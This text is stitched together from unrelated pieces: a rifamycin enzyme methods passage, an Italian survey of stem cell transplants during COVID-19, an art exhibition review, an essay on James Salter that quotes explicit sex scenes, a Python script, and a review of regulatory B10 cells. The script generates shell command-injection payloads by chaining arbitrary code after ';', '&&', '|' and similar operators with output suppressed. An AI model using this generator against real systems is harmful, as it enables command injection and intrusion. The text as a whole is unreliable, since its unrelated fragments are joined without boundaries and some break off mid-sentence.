HPLC system as described above. Each peak area of R-L was used to calculate the product concentration based on the standard curve of R-L. The triplicated data were fit to the Michaelis-Menten equation to determine the k cat and K m values using Origin 9.0. Preparation of 13 C labeled F-6-P, R-L, and R-B. Isolation and purification of R-L and R-B. The scaled-up Rif15 (for R-L) and Rif16 (for R-B) reactions (20-100 mL) were respectively extracted by the same volume of ethyl acetate five times. Then, the extracts were dried under nitrogen flow, and re-dissolved in methanol. The purification of R-L or R-B was performed using semi-preparative HPLC (Waters XBridge TM Prep C18 5 m, 10 250 mm) with a linear gradient of 40-80% acetonitrile in ddH 2 O + 0.1% trifluoroacetic acid over 20 min, and then 100% acetonitrile for 5 min at a flow rate of 2.5 mL/min. The collected fractions containing R-L or R-B were combined. The solvents were removed using a Rotavapor R-3 rotary evaporator (Buchi, Switzerland) and N 2 blowing. Finally, 10.0 mg R-L and 3.0 mg R-B with > 98.0% purity were obtained. LC-HRMS analysis. The LC-HRMS analysis was performed on a Waters symmetry column (4.6 150 mm, RP18) using the negative-mode electrospray ionization with a linear gradient of 10-100% acetonitrile in ddH 2 O with 0.1% formic acid over 20 min, and followed by 100% acetonitrile for 5 min at a flow rate of 0.5 mL/min. The high resolution mass spectra were recorded on a Dionex Ultimate 3000 coupled to a Bruker Maxis Q-TOF. NMR analysis. The 13 C NMR spectra of 13 C-labeled glucose, G-6-P, and F-6-P were acquired using D 2 O as solvent. The 1 H, 13 C and 2D NMR spectra of rifamycin derivatives were obtained using CDCl 3 or MeOD as solvent on a Bruker Avance III 600 MHz spectrometer with a 5 mm TCI cryoprobe. Crystallization and structure determination. The crystal of Rif16 alone and the complex crystal of Rif16 and R-L were obtained at 16°C by hanging drop vapor diffusion. The native Rif16 crystal screen droplets consisted of a 1:1 (v/v) protein at 16 mg/mL and the well solution of 100 mM Bis-Tris, pH 6.5, 200 mM magnesium chloride hexahydrate, and 25% PEG3350. Rif16 and R-L were mixed at a molar ratio of 1:5 and the co-crystallization was carried out in 200 mM magnesium chloride hexahydrate, 100 mM Tris, pH 8.5, 30% PEG4000. Crystals appeared after 1 week and were ready for data collection in 20 days. The crystals were flash-cooled in liquid nitrogen. The diffraction data were collected at 100 K under the synchrotron radiation at beamline BL19U1 of the Shanghai Synchrotron Radiation Facility (SSRF). The data sets were integrated and scaled with the HKL3000 package 48. The structure is determined by molecular replacement with the structure of CYP105A (PDB accession code 4OQS) as the initial search model with the program Phaser. The programs Refmac5 and Coot9 were used for the refinement and model building. Ramachandran plots were generated with Coot9. The statistics for data processing and structure refinement are shown in Supplementary |
Changes in Stem Cell Transplant activity and procedures during SARS-CoV2 pandemic in Italy: an Italian Bone Marrow Transplant Group (GITMO) nationwide analysis (TransCOVID-19 Survey) The Transplant Centers belonging to Gruppo Italiano per il Trapianto di Midollo Osseo (GITMO) conducted a survey with the aim of evaluating the effect of SARS-CoV2 pandemic on the allogeneic transplant activity in Italy. The pandemic period from 1/3/2020 to 31/7/2020 was compared with the same period in 2019. Overall, in 2020 there was a 2.4% reduction in the number of allo-HCT cases compared to 2019. Interestingly, this deflection did not affect the acute leukemia cases (+5.7% in 2020). The use of peripheral blood-derived stem cells (+10.7%) and cryopreservation (97.4% of the centers) was highly adopted in 2020. Despite the sanitary emergency, almost all of the surveyed centers declared no impact of SARS-CoV2 pandemic on the transplant timing and outcomes, and the sanitary policy was positively evaluated by the majority of centers. The emergency measures ensured that only a minority of the allo-HCT patients had been infected by SARS-CoV2; however, a mortality of 42.1% among the allo-HCT patients hospitalized for COVID-19 was recorded. This survey gives us the information that the GITMO Group reacted positively to the pandemic. Thanks to the emergency strategies, the Italian allo-HCT activity continued safely, showing only a minor deflection and offering the same probability of cure to the transplanted patients. The SARS-CoV2 pandemic dramatically affected the health activities. In Italy, as well as in the majority of the Countries, efforts have been made to guarantee treatments for acute and oncological patients. This is the case of onco-hematological patients submitted or candidate to allogeneic hematopoietic stem cell transplantation (allo-HCT). Starting from 24th February, 2020, date on which the first COVID-19-positive patient has been identified in Italy, decrees and recommendations have been released by the National and International Health Authorities in order to provide adequate medical assistance to hematological and transplant patients (http://www.salute.gov.it/portale/home.html, https://www. ebmt.org/covid-19-and-bmt, https://www.siematologia.it/ files/COVID19-Raccomandazioni-SIE-GITMO.pdf, Members of the GITMO Centers are listed above reference list. 2%20%282020-03-16%29.pdf). The most relevant ones allowed the transfer of a donor search from the international to the national bank registry (IBMDR) and the possibility to cryopreserve hematopoietic stem cells (HSCs), when there was concern that the donor was at high risk of communityacquired infection between work-up and collection (Supplementary Table 1). On behalf of Gruppo Italiano per il Trapianto di Midollo Osseo (GITMO), we designed a specific Survey (Trans-COVID-19 Survey), consisting of 40 multiple choices questions in order to investigate the effects of SARS-CoV2 pandemic on the Italian Transplant Centers activity. The Taking into account the Italian allo-HCT activity, there was only a mild decline in the numbers of allo-HCT compared to the same period of the previous year (−2.4%) ( Table 1). Interestingly, the reduction mostly affected less aggressive diseases, such as lymphoma and myeloma, as well as autologous procedures, while an increase in the number of allo-HCT for acute leukemias (+5.7%) was even observed. The reason for this observation may be wellexplained by the different allo-HCT urgency of such diseases. The effect of SARS-CoV2 pandemic did not apparently impact on the algorithm of donor' choice. Indeed, in the large majority of cases, the Centers did not change their donor selection policies: sibling, unrelated, haploidentical and cord blood stem cell source distribution slightly changed during the pandemic. Nevertheless, more frontline haploidentical donors were reported and a higher proportion of unrelated donors (UD) refused to donate for potential donation-related infectious risk. In order to maintain the donor selection and transplant standards, while ensuring the safety of patients undergoing conditioning therapy in case of unexpected donor unavailability, more UD were recruited by IBMDR and a significant increase in the use of peripheral blood-derived stem cells (PBSC) (+10.9%) and PBSC cryopreservation (employed in 38 in 2020 vs 19 Centers in 2019) was observed, as recommended by the Health Authorities. Besides the raw numbers of transplant procedures, 23 centers (59.0%) retained that SARS-CoV2 pandemic had no impact on transplant timing, while only 2 Centers (5.1%) declared mild to significant reduction of transplant timing and 14 (35.9%) an increase in the interval from the first patient evaluation to transplant. Altogether, these observations may reflect the efforts of allo-HCT transplant Centers to guarantee the transplant continuity. In doing so, whilst in 2019 almost all Center (35/39, 89.7%) did not use telemedicine, 31 centers (79.5%) declared telemedicine employment during the pandemic: notably, in 14 out of 31 centers (45.2%) telemedicine was extended to ≥25% of ambulatory visits. Moreover, in the opinion of the large majority of the interviewed Centers, there was no effect of the pandemic on the transplant-related outcomes. Eighteen allo-HCT Centers (46.2%) managed hematological patients with COVID-19. The rate of hematological SARS-CoV2 positive patients was generally low (1-9 cases for 88,9% of involved Centers). However, among the hospitalized allo-HCT SARS-CoV2-positive patients the mortality rate was particularly high (8 cases out of 19, 42.1%). In 9 Transplant Centers (23.1%) personnel redistribution was requested to provide assistance to non-hematologic SARS-CoV2-positive patients. Regarding SARS-CoV2infected personnel, 22 Centers (56.4%) referred staff members to be infected by SARS-CoV2 virus, for a total of 79 individuals. Seven out of 79 subjects (8.9%) required hospitalization in three centers (7.7%) with no fatalities. The isolation measures well limited the spread of the infection among allo-HCT patients. Nevertheless, the virus confirmed its severe impact on immune-depressed patients, with a mortality higher than 40% among the hospitalized transplant subjects, as recently reported by an Italian multicenter study. Also, SARS-CoV2 pandemic had a significant impact on the staff personnel too, highlighting once again the psychological and physical implications of the pandemic among the hospital professionals. The latter part of the survey relied on possible transplant perspectives after the end of SARS-CoV2 crisis. For 28 Centers (71.8%), an extended PBSC utilization could be maintained or even increased in the early future; on the contrary, PBSC cryopreservation was expected to return to pre-SARS-CoV2 era by 16 (41.0%) Centers, while 13 Centers (33.3%) and 10 Centers (25.6%) foresaw only a mild decrease or stabilization. For 28 (71.8%) Centers the preferential use of Nationals donors compared to foreign donors will be maintained (15, 38.5%) or even increased (13, 33.3%). A total 16 Centers (41.0%) predicted a stabilization or increase in the use of telemedicine, while 12 (30.8%) and 11 (28.2%) Centers hypothesized a slight or significant reduction, respectively. Finally, the Centers reported a positive judgement of indications and recommendations provided by Italian and European Health Authorities; overall, as confirmed by the first Survey's section, the recommendations effectively guided the Italian transplant activity by all the surveyed Centers. What is going to remain after this experience in the future? The opinion poll considered the emergency measures as the cryopreservation of HSCs, the use of telemedicine useful but temporary in the majority of cases. Long-term analyses are required to confirm the safety and efficacy of such approach in normal clinical practice. In conclusion, this survey suggests that collaborative network between Health Authorities, Scientific Societies and Transplant Centers ensured to continue a safe transplant activity among GITMO-affiliated Centers. |
An exhibition devoted to the work of artists who lack gallery representation can indicate one of two things: it can reflect the kinds of work that galleries aren't interested in at the moment, or it can just uncover more of the kinds of work already being shown. Unfortunately, the cheerfully diverse survey that is "Greater Brooklyn" falls into the latter category. Perhaps the most interesting fact about this show is that it was organized from 400 open-call submissions. Its organizers, Glen Baldridge and Alex Dodge, young artists who work at CRG, selected work by 30 artists. The entire process was conducted by e-mail.
Excepting the unusual zero-level gallery representation, the show shares some attributes with its inspiration, the current "Greater New York" exhibition at P.S. 1. There is too much work for the space available and yet not enough from each artist to give much of an idea of individual potential. In addition, it is too diverse to have any curatorial shape. |
We’re out this week, but we’re re-posting some of our favorite pieces from 2011 while we’re away. We hope you enjoy—and have a happy New Year!
When I try to write about sex, I think back to when I was just out of college and, handy with a makeup brush, took a job to make some extra money doing makeup on a gay-porn film set. On the second day, we filmed a three-way that took up most of the day. The actors struggled: one was hard, the others weren’t, then the others were and the first was not, and so on. After a few hours, the director sent us all out of the room and turned out the lights so the actors could work it out. This was before Viagra—you had to have an honest hard-on to shoot. We waited outside the dark room, the lights out, even the cameramen outside, waiting, until finally we heard the signal, and then the crew rushed back in to film. We turned on the lights.
The actors were made to pause, immediately. I had to touch them up.
They were panting, sweating like athletes. They’d rubbed off most of what I’d put on them. As they held their positions, I touched them up. I thought about how something had happened in the dark that we couldn’t see, an excitement that couldn’t be in the film. It was probably better than what we would film, more interesting.
It seems to me I am always in pursuit of that.
LIZ BENEDICT , a teacher of mine at Iowa, is the person who introduced me to James Salter’s work. We were talking about writing about sex. It was 1993. “Read A Sport and a Pastime,” she said. “If you want to learn to write about sex, read Salter.” I went out to the richly stocked used bookstores of Iowa City, where I easily found the green paperback book published the year I was born. On its nondescript cover, the illustration of a plain room. “A tour-de-force of erotic realism,” the Times reviewer said on the back cover.
All right then, I said to myself, and took the book home.
THE NARRATOR of A Sport and a Pastime is an American photographer living in a borrowed house in what he calls “the real France,” Autun, a small town where he hopes to take some career-changing photographs in the spirit of Atget. When he meets Phillip Dean, a golden boy Yale drop-out, the narrator invites him for a visit, in the casual way that means nothing, and Dean takes him at his word. Dean shows up at the borrowed house in a borrowed car, a beautiful Delage that belongs to a friend who “can’t drive it as much as it should be driven” and immediately starts an affair with Anne-Marie Costallat, an eighteen-year-old French waitress who had already caught the narrator’s attention. The narrator’s in love, in a way, with both of them, or with their affair, entranced by the quick way Dean seduces Anne-Marie. The novel builds itself out of that fascination, telling the story out of what he sees, what he is told by each of them, and what he imagines. Out of the force of his desire, the nameless narrator of the novel becomes an omniscient narrator, at least in relation to all things regarding Dean and Anne-Marie.
Dean and Anne-Marie were knowable to me, types I more or less understood. The narrator less so. He is like someone managing some grave hurt, unspoken in any direct way. But I gave myself to the book (and to him) when the narrator summed Dean up like this:
Dean has a small, straight mouth and wide-set, intelligent eyes. Hair that the summer has dried. It’s of schoolboy heroes that I am thinking, boys from the east, ringleaders, soccer backs slender as girls.
With just one line, we have a man’s hair as a way of telling time, as if we’ve watched it dry while he sleeps. The “schoolboy heroes” line perfectly sums up the attractiveness of that kind of youth—the way Dean seems to change a little into a girl in the corner of his eye and then back again.
Dean understands his attractiveness to others, he even invites his new photographer friend to be a spectator:
In a room with every light burning, Dean opens wide his arms. “Where have you been,” he says. “I have a surprise for you.” “What?” He doesn’t answer right away. “You’re going to be pleased,” he assures me, stopping before the mirror to look at himself from one angle, then the other, his movements light as a bird’s. Mon vieux, he is singing to himself off key, vous êtes beau, vous êtes beau.
A few moments later, as Anne-Marie sits with them at a table, it is very much as if Dean brought her for the narrator.
Anne-Marie Costallat, born October 8, 1944. I was beginning high school and masturbating twice a day, curling over it like a dead leaf, when she was born, in a bed of violets, as she says—all French mothers tell their children that.
The narrator is watching Dean because he’s someone the narrator, and the American colony there for that matter, all desire; they either want to be him or be with him, and they sometimes can’t tell the difference. By the time Dean reveals he has very little money, by the time it is clear he is someone used to borrowing the things of the hapless or indifferent rich, who themselves cannot care quite enough about these things, by then the narrator doesn’t care to object; it’s clear Dean can stay as long as he wants at the borrowed house with the borrowed car. The narrator wants whatever this is, he has already been possessed by Dean and Anne-Marie, and he isn’t ready to let them go. His desire for them both becomes an omniscient narrative, built to possess both of them and all of what passes between them. This narrator is not so much a photographer as a photographic plate, an exposure left open and impossibly able to give back an image of all of their affair.
Realized in this novel, as in few others, is the peculiar passage of time in an affair like this, when the sex takes over one’s days and nights, and it seems just always around the next corner or the last one. This in turn transforms the structure and pacing of the narrative.
Looking in the mirror together, as Dean holds her breasts from behind, she says of one, “This one grew first.” When Dean pauses in fucking her and begins again,
She comes to life with a soft exhausted sound, like someone saved from drowning.
Part of what I loved in the novel was the ordinariness, how it allowed the characters asymmetry, even ugliness, terror, strangeness—how it made room for all of it. Some other favorite moments:
She begins to strip like a roommate and climb into bed. They have fallen asleep. Dean wakes first, in the early afternoon. He unfastens her stockings and slowly rolls them off. Her skirt is next and then her underpants. She opens her eyes. The garter belt he leaves on, to confirm her nakedness. He rests his head there. Her hand touches his chest and begins to fall in excruciating slow designs. He lies still as a dog beneath it, still as an idiot. The next morning she is recovered. His prick is hard. She takes it in her hand. They always sleep naked. Their flesh is innocent and warm. In the end she is arranged across the pillows, a ritual she accepts without a word. It is half an hour before they fall apart, spent, and call for breakfast. She eats both her rolls and one of his. “There was a lot,” she says. She glistens with it. The inside of her thighs is wet. “How long does it take to make again?” she asks. Dean tries to think. He is remembering biology. “Two or three days,” he guesses. “Non, non!” she cries. That is not what she meant. She begins to make him hard again. In a few minutes he rolls her over and puts it in as if the intermission were ended. This time she is wild. The great bed begins creaking. Her breath becomes short. Dean has to brace his hands on the wall. He hooks his knees outside her legs and drives himself deeper. “Oh,” she breathes, “that’s the best.” When he comes, it downs them both.
Salter’s lovers are at odd angles to each other, one minute noticing bad teeth or breath, the next, fucking until they feel like gods and the world itself is known to them. And then they, and we, return to the world, and to the impossibilities that push any of us together with anyone else.
Too much writing about sex tries to either make it prettier or more serious, sexier or funnier or shocking, or anything, really, except what it is. On its own terms, sex is information. This I learned from reading Salter. In one scene, Dean asks her if she wants to read a magazine while she gets used to him inside her. Even the banality of it becomes erotic. Reading Salter’s sentences, I saw what I knew of sex, that sex is a moment in which you are known and knowable. Whatever it is you desire appears from behind the veil of shame or fantasy or nostalgia, or sheer impossibility, and in its presence, you are revealed to yourself. Porn obscures this; porn is about the fantasy of the viewer, not the mixed fantasies, realities, and disappointments of the actors in the room. Truth might get you off, but porn doesn’t deal in maybes, was never interested in unreliable, unpredictable truth-telling. When my teacher told me to read James Salter, what she meant was that this kind of sex writing is about you, the reader, in a way a fantasy isn’t. It describes sex so that it tells you something about the story and the characters and yourself, all at once.
It seems to me that the writers we love most are those who manage to capture something we ourselves have thought and rejected, for being forbidden, dangerous, elusive, something that if we made room for it would undo something else we want to keep, so we force it away—literature as a catalogue of rejected thoughts. For the way they can hold onto what the rest of us would put away as dangerous, they become heroes, the ones who emerge with the one thing we hoped to keep secret, but know we need. When I say to you James Salter is one of my heroes, that is what I mean.
Alexander Chee is the author, most recently, The Queen of the Night, a novel forthcoming from Houghton Mifflin Harcourt.
To read more essays for James Salter Month, click here. |
import argparse
import random
import shlex
def randomdata():
chars='abcdefghijklmnopqrstuvwxyz0123456789'
chars+=chars.upper()
length=random.randint(5, 20)
choice=random.choice
return ''.join(choice(chars) for i in range(length))
def bashiencode(args):
ignore='>/dev/null 2>&1'
for i in '; & && | ||'.split():
a=random.choice([' ', ''])+i+random.choice([' ', ''])
now='{}{}{}'.format(ignore, a, args.code)
if i=='&&':
now=args.expected+now
elif i=='||':
now=randomdata()+now
yield now
def ciencode(args):
if type(args)!=list:
args=shlex.split(str(args))
parser=argparse.ArgumentParser()
parser.add_argument('code')
parser.add_argument('-l', '--language', default='bash')
parser.add_argument('-e', '--expected', default='',
help='Expected input, used to make program run sucessfully')
try:
args=parser.parse_args(args)
except SystemExit:
return
if args.language=='bash':
print('\n'.join(bashiencode(args)))
|
IL-10-producing regulatory B cells (B10 cells) in autoimmune disease B cell abnormalities contribute to the development and progress of autoimmune disease. Traditionally, the role of B cells in autoimmune disease was thought to be predominantly limited to the production of autoantibodies. Nevertheless, in addition to autoantibody production, B cells have other functions potentially relevant to autoimmunity. Such functions include antigen presentation to and activation of T cells, expression of co-stimulatory molecules and cytokine production. Recently, the ability of B cells to negatively regulate cellular immune responses and inflammation has been described and the concept of regulatory B cells has emerged. A variety of cytokines produced by regulatory B cell subsets have been reported, with IL-10 being the most studied. In this review, this specific IL-10-producing subset of regulatory B cells has been labeled B10 cells to highlight that the regulatory function of these rare B cells is mediated by IL-10, and to distinguish them from other B cell subsets that regulate immune responses through different mechanisms. B10 cells are a functionally defined subset currently identified only by their competency to produce and secrete IL-10 following appropriate stimulation. Although B10 cells share surface markers with other previously defined B cell subsets, currently there is no cell surface or intracellular phenotypic marker or set of markers unique to B10 cells. The recent discovery of an effective way to expand B10 cells ex vivo opens new horizons in the potential therapeutic applications of this rare B cell subset. This review highlights the current knowledge on B10 cells and discusses their potential as novel therapeutic agents in autoimmunity. Introduction Traditionally, B cells have been thought to contribute to the pathogenesis of autoimmune disease through antigen (Ag)-specifi c autoantibody production. Nonetheless, the role of B cells in autoimmunity extends beyond the production of autoantibodies. B cells are now well established to have both positive and negative regulatory roles during immune responses. B cells can positively regulate immune responses by producing Ag-specifi c antibody and inducing optimal T cell activation. B cells can serve as professional Ag-presenting cells, capable of presenting Ag 10 3 -fold to 10 4 -fold more effi ciently than nonprofessional Agpresenting cells. B cell Ag presentation is required for optimal Ag-specifi c CD4 + T cell expansion, memory formation, and cytokine production. B cells may also positively regulate CD8 + T cell responses in mouse models of autoimmune disease. Furthermore, costimulatory molecules (such as CD80, CD86, and OX40L) expressed on the surface of B cells are required for optimal T cell activation. Th e positive regulatory roles of B cells extend to multiple immune system compo nents; the absence of B cells during mouse development results in signifi cant quantitative and qualitative abnormalities within the immune system, including a remarkable decrease in thymocyte numbers and diversity, signifi cant defects within spleen dendritic cell and T cell compartments, absence of Peyer's patch organogenesis and follicular dendritic cell networks, and absence of marginal zone and metallophilic macrophages with decreased chemokine expression. B cells also positively regulate lymphoid tissue organization. Finally, dendritic cell, macrophage, and T H cell development may all be infl uenced by B cells during the formation of immune responses. B cells can also negatively regulate cellular immune responses through their production of immuno modulatory cytokines. B cell-negative regulation of immune responses has been demonstrated in a variety of mouse models of autoimmunity and infl ammation. Although the identifi cation of B cell subsets with negative regulatory functions and the defi nition of their mechanisms of action are recent events, the important negative Abstract B cell abnormalities contribute to the development and progress of autoimmune disease. Traditionally, the role of B cells in autoimmune disease was thought to be predominantly limited to the production of autoantibodies. Nevertheless, in addition to autoantibody production, B cells have other functions potentially relevant to autoimmunity. Such functions include antigen presentation to and activation of T cells, expression of co-stimulatory molecules and cytokine production. Recently, the ability of B cells to negatively regulate cellular immune responses and infl ammation has been described and the concept of regulatory B cells has emerged. A variety of cytokines produced by regulatory B cell subsets have been reported, with IL-10 being the most studied. In this review, this specifi c IL-10-producing subset of regulatory B cells has been labeled B10 cells to highlight that the regulatory function of these rare B cells is mediated by IL-10, and to distinguish them from other B cell subsets that regulate immune responses through diff erent mechanisms. B10 cells are a functionally defi ned subset currently identifi ed only by their competency to produce and secrete IL-10 following appropriate stimulation. Although B10 cells share surface markers with other previously defi ned B cell subsets, currently there is no cell surface or intracellular phenotypic marker or set of markers unique to B10 cells. The recent discovery of an eff ective way to expand B10 cells ex vivo opens new horizons in the potential therapeutic applications of this rare B cell subset. This review highlights the current knowledge on B10 cells and discusses their potential as novel therapeutic agents in autoimmunity. regulatory roles of B cells in immune responses are now broadly recognized. A variety of regulatory B cell subsets have been described; IL-10-producing regulatory B cells (B10 cells) are the most widely studied regulatory B cell subset. Comprehensive reviews summar izing the variety of regulatory B cell subsets have been published during recent years. Th e present review will therefore focus exclusively on the IL-10producing regulatory B cell subset. Th is specifi c subset of regulatory B cells has been labeled B10 cells to highlight that the regulatory function of these rare B cells is mediated by IL-10, and to distinguish them from other B cell subsets that regulate immune responses through diff erent mechanisms. Th is functional subset of B cells is defi ned solely by its IL-10-dependent regulatory properties and extends beyond the concept of transcription factor-defi ned cell lineages. Th is review highlights our current knowledge on B10 cells, with emphasis on their roles in autoimmune disease, and discusses their potential as a novel therapeutic approach in the treatment of autoimmunity. Biology of B10 cells One of the most fundamental basic biology questions about B10 cells relates to the stimuli driving their develop ment. Ag and B cell receptor (BCR) signaling are critical in early development, although additional stimuli such as CD40 ligation and Toll-like receptor (TLR) ligands appear to be involved in the developmental process. Figure 1 illustrates our current understanding of B10 cell develop ment in vivo both in mice and humans, where their development shows multiple similarities. B10 cells are a functionally defi ned B cell subset. Th ere are no unique phenotypic markers for B10 cells, and these cells are currently defi ned only by their competency to produce and secrete IL-10 following appropriate stimu lation. B10 cells share surface markers with other previously defi ned B cell subsets both in mice and humans, such as marginal zone B cells, transitional B cells, B1a B cells, and memory B cells. However, no one marker or set of markers is unique to B10 cells. For identifi cation of B10 cells, intracellular cytoplasmic IL-10 staining is used, following ex vivo stimulation with lipopolysaccharide (LPS) or CpG oligonucleotides, phorbol esters (phorbol-12-myristate-13-acetate (PMA)) and ionomycin for 5 hours. B10 cells originate from a progenitor population (B10 PRO cells). B10 PRO cells develop into B10 cells after maturation through CD40 ligation or exposure to LPS or CpG. B10 PRO cells can be identifi ed indirectly following ex vivo stimulation with LPS or CpG in the presence of CD40 ligation for 48 hours with the addition of PMA and ionomycin for the last 5 hours. Th e IL-10 + B cells measured following this 48-hour stimulation include cells that would have been IL-10 + even with the shorter 5-hour stimulation (B10 cells), and thereby represent the sum of B10 plus B10 PRO cells (B10+B10 PRO ). Mouse B10 cell development BCR specifi city, affi nity and signaling are the most important currently identifi ed factors in B10 cell development. B10 cell regulation of infl ammation and autoimmunity is Ag specifi c. Th e importance of BCR diversity is demonstrated by the fact that B10+B10 PRO cells are reduced by approximately 90% in transgenic mice with a fi xed BCR. Signaling through the BCR appears critical during early development in vivo. CD19-defi cient mice (where BCR signaling is decreased) have a 70 to 80% decrease in B10+B10 PRO cells. In contrast, B10 cells are expanded in human CD19 transgenic mice (where the overexpression of CD19 augments BCR signaling). Th e absence of CD22, which normally dampens CD19 and BCR signaling, also results in increased B10 cell numbers. Ectopic B cell expression of CD40L (CD154) in transgenic mice, which induces increased CD40 signaling, also increases B10 cell numbers. CD22 −/− mice that also ectopically express CD40L show dramatically enhanced numbers of CD1d hi CD5 + B cells and B10 cells. Th e induction of IL-10 + B cells with regulatory activity by T cell immunoglobulin domain and mucin domain protein 1 (TIM-1) ligation further highlights the importance of BCR signaling in B10 cell development. BCR signaling and TIM-1 are closely related. BCR ligation induces TIM-1 expression on B cells, and TIM-1 ligation appears to enhance BCR signaling since it increases antibody production both in vitro and in vivo. Th e importance of BCR-related signals is further highlighted by the observation that the stromal interaction molecules 1 (STIM1) and 2 (STIM2) are required for B cell IL-10 production. Remarkably, B cells lacking both stromal interaction molecule proteins failed to produce IL-10 after BCR stimulation in the presence of PMA and ionomycin for 5 hours. All of the above indicate that BCR-related signals are particularly important in B10 cell development. Despite the requirement for BCR expression and function during mouse B10 cell development, B cell stimulation with mitogenic anti-IgM antibody alone does not induce cytoplasmic IL-10 expression. Th e combination of anti-IgM stimulation with CD40 ligation and LPS or CpG signifi cantly reduces IL-10 competence. BCR-generated signals thus inhibit the abilities of LPS or CpG and CD40 ligation to induce cytoplasmic IL-10 production. Whether BCR stimulation inhibits the induc tion of IL-10 competence by inducing B cells to mature or diff erentiate down a divergent pathway or diverts intracellular signaling is unknown. Another possibility is that the signals generated by mitogenic anti-IgM BCR cross-linking are too intense and that low-affi nity Ag-BCR interactions drive B10 PRO cell development in vivo. A recent study revealed the importance of IL-21, major histocompatibility complex class II (MHC-II) and CD40 during cognate interactions with CD4 + T cells in B10 cell development. Ex vivo stimulation of purifi ed spleen CD19 + B cells with IL-21 induced 2.7-fold to 3.2-fold higher B10 cell frequencies, and 4.4-fold to 5.3-fold more IL-10 secretion compared with stimulation with media alone. Remarkably, IL-21 induced B10 cells to produce IL-10 without the need for stimulation with phorbol esters and ionomycin. Interestingly, IL-21 induced a three fold increase in IL-10 + B cells within the splenic CD1d hi CD5 + B cell subset, but did not induce IL-10 + B cells within the CD1d lo CD5 -B cell subset. Both B10 cells and non-B10 cells expressed IL-21R at similar levels, and ex vivo B10, B10pro and CD1d hi CD5 + B cell numbers were similar among IL-21R-defi cient (IL-21R -/-), MHC-IIdefi cient (MHC-II -/-) and CD40-defi cient (CD40 -/-) mice. Nevertheless, IL-21R, MHC-II and CD40 appear to be required for B10 cell eff ector functions, at least in experimental auto immune encephalomyelitis (EAE). Regulatory B10 cell function therefore requires IL-21R signaling, as well as CD40 and MHC-II interactions, potentially explaining Ag-specifi c B10 cell eff ector function. Although cognate interactions with CD4 + T cells are important for B10 cell eff ector functions, T cells do not appear to be required for B10 cell development. In mice, B10 PRO cells are found in the CD1d − CD5 − adult blood and lymph node B cell subsets and within the CD1d − CD5 + neonatal spleen and adult peritoneal cavity B cell subsets. CD40 stimulation induces B10 PRO cells to become competent for IL-10 expression, while lipopolysaccharide (LPS) induces B10 PRO cells to become competent for IL-10 expression and induces B10 cells to produce and secrete IL-10. CD1d hi CD5 + IL-10-competent B10 cells in the adult spleen are induced to express IL-10 following stimulation with phorbol esters (phorbol-12-myristate-13-acetate (PMA)) and ionomycin or LPS plus PMA and ionomycin for 5 hours. Following a transient period of IL-10 expression, a small subset of B10 cells can diff erentiate into antibody-secreting plasma cells (PC). B10 cells also possibly diff erentiate into memory B10 cells (B10 M ). B10 cell development in humans appears to follow the diff erentiation scheme observed in mice. B10 cells and B10 PRO cells have been identifi ed in human newborn and adult blood. B10+B10 PRO cells in adult human blood express CD27 and CD24. Whether human B10 cells further diff erentiate into PCs or B10 M remains to be determined. Solid arrows, known associations; dashed arrows, speculated associations. MHC-II, major histocompatibility complex class II. B10 cells are present in T cell-defi cient nude mice, and their frequencies and numbers are approximately fi vefold higher when compared with wildtype mice. Th is observation is strengthened by the fact that MHC class I and MHC-II molecules and CD1d expression are not required for B10 cell development. Th e presence or absence of T cells in vitro also does not aff ect the frequency of B10 cells. Although increased B10 cell frequencies in T celldefi cient mice suggest that T cells might actually inhibit B10 cell development, it is equally possible that the immunodefi cient state of these mice allows subclinical infl ammation that induces B10 cell generation. Th e role of T cells in B10 cell development in vivo is thereby complex and, although T cells are not required for B10 cell development, cognate interactions between CD4 + T cells and B10 cells are required for B10 cell eff ector function. B10 cells can be driven to produce IL-10 by TLR4 (LPS) or TLR9 (CpG oligonucleotides) ligands. Mouse B10 PRO cells acquire the ability to function like B10 cells after in vitro maturation following stimulation with LPS, but not CpG, in the presence or absence of agonistic CD40 mAb. TLR4 and TLR9 signaling through myeloid diff er entiation primary response gene 88 (MyD88) is necessary for the optimal maturation and IL-10 induction of B10pro and B10 cells following LPS stimulation and LPS or CpG stimulation, respectively. Nevertheless, MyD88 expression is not an absolute requirement for B10 cell development in vivo, since B10 cells develop normally in MyD88 -/mice. Specifi cally, numbers of B cells with the capacity to produce IL-10 are equivalent in wildtype and MyD88 -/mice when their maturation or IL-10 production are measured following CD40 ligation or PMA plus ionomycin stimulation, respectively, demon strating that B10 PRO and B10 cells are present at normal frequencies in MyD88 -/mice. Th ereby, while TLR signaling is not required for B10 cell development, MyD88 expression is required for LPS to induce optimal B cell IL-10 expression and secretion in vitro. PMA + Ionomycin + Brefeldin Th e involvement of TLR signals in B10-cell IL-10 production was recently demonstrated. IL-10 produc tion by B cells, stimulated by contact with apoptotic cells, results from the engagement of TLR9 within the B cell after recognition of DNA-containing complexes on the surface of apoptotic cells by the BCR. An earlier study also highlights the eff ects of apoptotic cells on B cell IL-10 production, where apoptotic cells protected mice from developing collagen-induced arthritis (CIA) by the induction of IL-10-producing regulatory B cells. Cell death products may therefore represent one of the physio logic triggers for B10 cell development by providing a combination of BCR and TLR signals. Additional non-TLR/non-BCR signals (such as alarmins) released from dying cells may be also involved but their identities remain to be determined. Although certain transcription factors are involved at some point in B10 cell development, it is important to stress that there is no known transcription factor signature unique to B10 cells. Following a transient period of IL-10 transcription characterized by increased expression of the blimp1 and irf4 transcription factors along with decreased expression of pax5 and bcl6, a signifi cant but small fraction of B10 cells can diff erentiate into antibodysecreting cells pro duc ing IgM and IgG polyreactive antibodies that are enriched for autoreactivity to singlestranded or double-stranded DNA and histones. Whether B10 cells can produce and secrete IL-10 repeatedly remains to be determined. Human B10 cell development B10 PRO cells and B10 cells have been recently identifi ed in humans and their responses to LPS, CpG and CD40 ligation appear to follow the general scheme of mouse B10 cell development ( Figure 1). One notable diff erence in mouse versus human B10 cell development is the lack of response of mouse B10 PRO cells to CpG compared with their human counterparts. Human B10 PRO cells can be driven to develop ex vivo into B10 cells with LPS or CpG stimulation, or CD40 ligation. Interestingly, BCR ligation augmented human B cell IL-10 responses to CpG in one study. Th is fi nding is in discordance with our fi ndings in both humans and mice, where BCRgenerated signals inhibit the abilities of LPS or CpG and CD40 ligation to induce cytoplasmic IL-10 production. Whether human B10 cells develop into antibodysecreting cells or enter the memory pool (memory B10 cells, B10 M ) remains to be determined. Unsolved questions on B10 cell development Th e most critical unsolved issue relates to the nature of antigenic stimuli driving B10 cell development. Th e identifi cation of B10-cell BCR specifi city is imperative since it will provide new insights into their early development. Th e autoreactive nature of mouse B10-cell BCRs suggests that autoantigens may be driving early B10 cell development 